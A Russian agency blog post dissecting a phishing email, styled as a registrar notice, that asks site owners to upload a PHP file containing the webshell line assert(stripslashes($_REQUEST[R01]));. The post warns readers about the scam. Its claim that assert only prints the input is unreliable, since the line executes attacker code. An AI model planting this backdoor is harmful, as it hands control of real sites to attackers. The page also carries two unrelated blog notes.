iLost B2B

Агентство полного цикла
Разработка, дизайн, маркетинг, аналитика
Сделать заказ

Разделы блога

Социальная инженерия в действии

Социальная инженерия в действииПолучаю письмо. Тут надо заметить, что письма у меня смотрятся хоть и не через браузер, но почтовый клиент также показывает письма в HTML формате и не показывает реальный адрес отправителя (по-умолчанию). Поэтому ухищрения кульных хацкеров не были видны как на ладони (реальный адрес отправителя письма был info@r01l.ru — одна лишняя буква) и доходить до схемы «взлома» пришлось своим умом, анализируя присланное письмо.

Отправитель: "R01.RU"
Тема: Необходима активация домена [один из моих доменов]

Текст:

Уважаемый клиент!
В соответствии с изменениями, внесенными в ICANN RAA, Вы должны подтвердить, что фактическое управление доменом [один из моих доменов] осуществляется лицом, указанным в качестве его администратора.Чтобы подтвердить, что Вы имеете фактическую возможность управлять доменом, создайте в корневой директории сайта файл a7offau12fn0f83f.php со следующим содержимым:
assert(stripslashes($_REQUEST[R01]));
?>
Файл должен быть создан в течение трех рабочих дней с момента получения настоящего письма и находиться на сервере до 28 декабря 2016 года, 20:00 (UTC+03:00), в противном случае процедура подтверждения не будет пройдена.
Обращаем Ваше внимание на то, что если процедура подтверждения не будет пройдена, делегирование домена будет приостановлено.
© АО "Регистратор Р01"
8-800-775-37-77,
8-495-616-2747


Что бросается в глаза?

То, что просят создать php-файл. Для проверки обычно достаточно и txt-файла.
Разберем код.
assert — это вывод проверки утверждения. По сути выведет на экран переданную инфу.
stripslashes — удаляет экранирование символов
остается $_REQUEST[R01] — вместо R01 могут написать что угодно. Это то, что передается php-йфалу через POST или GET запрос. И здесь не видно никакой защиты. Получается, что это простой незащищенный файл, который подвержен большинству уязвимостей, через обращение в переменной R01.

Узнал, что аналогичные письма приходят и от имени якобы РосКомНадзора :)

Т.е. цель «хакеров» — не дискриминация определенного сервиса, а временное получение доступа к сайтам.
Зачем?
Отжать домен таким образом не получится.
Удалять файлы обычно бесполезно — есть резервные копии.
Глумиться над сайтами, заменяя картинки — ребячество.
Получить секретную информацию — вряд ли получится, т.к. админ, который на это пойдет, вряд ли будет управлять крупным магазином.
Учитывая волну подобных писем — это не захват определенного сайта.
Остается одно — создание мусорных рекламных сайтов в папках на временно «захваченных» доменах.

0
0
юмор, взлом, хакер, письмо, R01, регистратор, хостинг

Комментарии


Ваше имя:
Ваш вопрос или комментарий:
Жирный
Цитата
: )
Введите код:

Закрыть


Добавьте в соц. сети:

Другие заметки

Менталитета нет

Мы много пьём, берем взятки и не любим работать, такой уж у нас менталитет, да?

Чушь!

Да, ментальность и своеобразие каждого народа никто не отменял, но это не значит, что с его проявлениями нельзя бороться.

Считаете, что тяга к свободе у нас в крови, а ремень безопасности её ограничивает? Расскажите об этом в Штатах. Там тоже раньше считали требование использовать ремни — вторжением в частное право, а теперь, спустя чуть больше 40 лет, пристегиваются все до единого, и не потому, что их могут оштрафовать, а потому, что без ремня небезопасно.

Думаете, что мы привыкли за всю свою историю голодать, и поэтому бедность у нас в крови? Поговорите об этом с корейцами, которые 70 лет назад были единым государством, а потом пошли разными путями, и на сегодняшний день Южная — один из лидеров в области электроники и автомобилестроения, а Северная — страна, где до сих пор диктатура и рост экономики — 1% в год. К слову, до разделения Корея была японской колонией, то есть за 70 лет южнокорейцы проделали путь от рабов до одного из мировых лидеров. Крепостное право, говорите? Ну да, ну да.

Про Китай вообще молчу: эти ребята раньше подделывали продукцию известных брендов, а теперь они первая экономика в мире. Мы даже опомниться не успели!

Так что нет ничего, что оправдывалось бы менталитетом. Любую дурь можно выбить из народа, нужны только жесткие меры и много времени, вплоть до смены целого поколения.

И наша страна неплохо в этом преуспела: согласитесь, за последние 15 лет жизнь стала намного, намного лучше. Если даже Китай, всегда считавшийся хромой лошадью, стал первым, то абсолютно у любой другой страны могут быть неплохие шансы, главное — помнить, что нет никакого менталитета, чушь это всё и оправдания.

Люди способны на многое, но даже не догадываются об этом

Люди могут взять на собственное тело намного больше, чем ранее считалось. К этому пришли после новейших исследований. Оказалось, что те, кто даже не знал о хатха-йоге, смогли управлять собственным пульсом, после того, как получили возможность наблюдать за своей кардиограммой в режиме реального времени. Исследование касается не только пульса, важны любые измерения — они показывают человеку изменения в его теле, на которые он может пытаться влиять. И со временем научиться влиять уверенно и правильно.

Мне было очень приятно, что то, что я применяю уже около 2 месяцев, недавно было доказано с научной точки зрения. Сейчас я худею по своей программе — взвешиваться на точных электронных весах как можно чаще, минимум 3 раза в день. В этом заключается вся программа похудания. И она уже дала мне ощутимый результат — около 7 кг за 2 месяца.

Когда съедаешь что-то — видишь, как это влияет на вес. Это удивительно. Часто вес берется откуда ни возьмись и исчезает также внезапно — работа организма намного сложней, чем:

Съел 1 кг, значит пополнел на 1 кг.
Сходил по большому на 200 гр, значит похудел на 200 гр.

Мы не только потеем, но и тратим вес (жир) при дыхании.

Полежав часик в ванной, я могу набрать целый килограмм.

Съев 200 гр. конфет или плюшек с нерафинированными жирами (маргарином и т.д.) я могу пополнеть на 500-700 гр.

Всё неоднозначно. Именно поэтому нам так важны измерения! Они показывают нам, как то, что мы делаем, влияет на нас.

Если вы сильно заболели чем-то нестандартным — почаще сдавайте анализ крови, анализируйте изменения. Это касается и разного рода диет, если вас угораздило попасться на эту удочку.

Да, еще я против любых диет. Скорее за определенный постоянный образ жизни — это намного лучше периодических перегрузок для организма.

Профессиональные спортсмены, кстати, не добивались бы таких потрясающих результатов, если бы не измерения: кровь, вес, время и т.д.

© 1999—2024,
агентство полного цикла iLost B2B.
Контакты

Телеграм-каналы:

💎 Дизайн сайтов: Инновации и тренды
💎 Свежие фишки программирования и разметки (HTML, CSS, PHP, JS)
💎 Всё про искусственный интеллект
💎 Развитие, деньги и бизнес
Сайт работает
на CMS «Движок»

Задайте вопрос
или пришлите задание для расчета стоимости
или расскажите о вашей ситуации

А можно сразу написать на почту merkvlad@gmail.com
или в Telegram, WhatsApp, Viber.

Ваше имя:

Телефон и предпочитаемый мессенджер:

Вкратце о вашей проблеме или тех.задании: